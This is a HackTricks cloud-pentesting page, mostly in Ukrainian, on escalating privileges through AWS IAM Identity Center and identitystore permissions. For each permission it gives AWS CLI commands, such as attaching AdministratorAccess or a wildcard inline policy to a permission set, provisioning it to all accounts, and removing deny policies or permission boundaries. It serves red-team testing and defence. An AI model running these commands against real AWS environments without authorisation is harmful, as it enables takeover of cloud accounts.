AWS - SSO & identitystore Privesc

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

AWS Identity Center / AWS SSO

For more information about AWS Identity Center / AWS SSO check:

AWS - IAM, Identity Center & SSO Enum

warning

Зверніть увагу, що за замовчуванням лише користувачі з дозволами form the Management Account матимуть змогу отримувати доступ та керувати IAM Identity Center.
Користувачі з інших акаунтів можуть це робити лише якщо акаунт є Delegated Adminstrator.
Див. документацію для детальнішої інформації.

Скидання пароля

Легкий спосіб ескалації привілеїв у таких випадках — це мати дозвіл на скидання паролів користувачів. На жаль, можливо лише відправити електронний лист користувачу для скидання його пароля, тож вам знадобиться доступ до електронної пошти користувача.

identitystore:CreateGroupMembership

З цим дозволом можна додати користувача до групи, щоб він успадкував усі дозволи, якими володіє група.

bash
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Атакуючий із цим дозволом може додати додаткові права до Permission Set, який надано користувачу під його контролем

bash
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Атакувальник із цим дозволом може надати додаткові права Permission Set, що надано користувачу під його контролем

bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Атакувач з цим permission може надати додаткові permissions до Permission Set, який надається user під його контролем.

warning

Щоб зловживати цими permissions у цьому випадку, потрібно знати назву customer managed policy, яка є в УСІХ accounts, що будуть зачеплені.

bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Атакувальник із цим дозволом може призначити Permission Set користувачу під його контролем для облікового запису.

bash
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Повертає короткострокові облікові дані STS для ролі, призначеної користувачу.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Однак потрібен access token, який я не впевнений, як отримати (TODO).

sso:DetachManagedPolicyFromPermissionSet

Зловмисник із цим дозволом може видалити асоціацію між AWS managed policy та зазначеним permission set. Можна надати більше привілеїв шляхом detaching a managed policy (deny policy).

bash
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Зловмисник з цим дозволом може видалити прив'язку між Customer managed policy та вказаним permission set. Через це можливо надати більше привілеїв шляхом detaching a managed policy (deny policy).

bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Атакувальник з цим дозволом може фактично видаляти дозволи з inline policy у permission set. Можливо надати more privileges via detaching an inline policy (deny policy).

bash
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Атакувальник з цим дозволом може видалити Permission Boundary з Permission Set. Це може надати більше привілеїв шляхом видалення обмежень на Permission Set, встановлених Permission Boundary.

bash
aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks